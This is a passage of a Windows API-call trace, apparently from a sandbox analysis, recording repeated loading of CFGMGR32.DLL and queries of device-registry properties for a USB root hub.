lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.784] malloc (_Size=0x18) returned 0x196ef0d1c40 [0228.784] CM_Get_Device_IDA (in: dnDevInst=0x2d, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB20\\4&9C1D5B7&0") returned 0x0 [0228.785] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0228.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x693927e7, dwHighDateTime=0x1d9eb0c)) [0228.785] SetEvent (hEvent=0x248) returned 1 [0228.787] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.787] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.788] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.789] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.790] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.791] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0228.791] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0228.791] malloc (_Size=0xac) returned 0x196ef0f8d20 [0228.791] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f8d20, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f8d20, pulLength=0x67117d608) returned 0x0 [0228.792] free (_Block=0x196ef0f8d20) [0228.792] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0228.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x693927e7, dwHighDateTime=0x1d9eb0c)) [0228.792] SetEvent (hEvent=0x248) returned 1 [0228.794] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0228.794] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0228.794] free (_Block=0x196ef0d1ea0) [0228.794] malloc (_Size=0x18) returned 0x196ef0d2040 [0228.794] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0228.794] free (_Block=0x196ef0d2040) [0228.794] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0228.794] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0228.795] free (_Block=0x196ef0d1ba0) [0228.795] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0228.795] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0228.795] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0228.795] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0228.795] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0228.795] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0228.795] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0228.795] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0228.795] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0228.796] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e810, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.796] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e818, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.796] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e820, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0228.796] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0228.797] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.797] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.800] malloc (_Size=0x18) returned 0x196ef0d20c0 [0228.800] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0228.801] malloc (_Size=0x48) returned 0x196ef0fbcc0 [0228.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x693b8a73, dwHighDateTime=0x1d9eb0c)) [0228.801] SetEvent (hEvent=0x248) returned 1 [0228.803] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.803] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.806] malloc (_Size=0x18) returned 0x196ef0d1980 [0228.806] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.811] malloc (_Size=0x48) returned 0x196ef0fb770 [0228.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x693b8a73, dwHighDateTime=0x1d9eb0c)) [0228.811] SetEvent (hEvent=0x248) returned 1 [0228.896] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.896] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.899] malloc (_Size=0x18) returned 0x196ef0d20c0 [0228.899] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.900] malloc (_Size=0x48) returned 0x196ef0fb720 [0228.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6949d7f3, dwHighDateTime=0x1d9eb0c)) [0228.900] SetEvent (hEvent=0x248) returned 1 [0228.903] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.903] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.905] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.907] malloc (_Size=0x18) returned 0x196ef0d1d60 [0228.907] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.907] malloc (_Size=0x48) returned 0x196ef0fba40 [0228.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x694c3a16, dwHighDateTime=0x1d9eb0c)) [0228.908] SetEvent (hEvent=0x248) returned 1 [0228.911] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.911] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.914] malloc (_Size=0x18) returned 0x196ef0d20e0 [0228.914] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.915] malloc (_Size=0x48) returned 0x196ef0fb270 [0228.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x694c3a16, dwHighDateTime=0x1d9eb0c)) [0228.915] SetEvent (hEvent=0x248) returned 1 [0228.920] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.920] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.920] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.921] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.923] malloc (_Size=0x18) returned 0x196ef0d1d60 [0228.923] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.926] malloc (_Size=0x48) returned 0x196ef0fb860 [0228.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x694e9ee3, dwHighDateTime=0x1d9eb0c)) [0228.927] SetEvent (hEvent=0x248) returned 1 [0228.930] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.930] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.930] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.930] 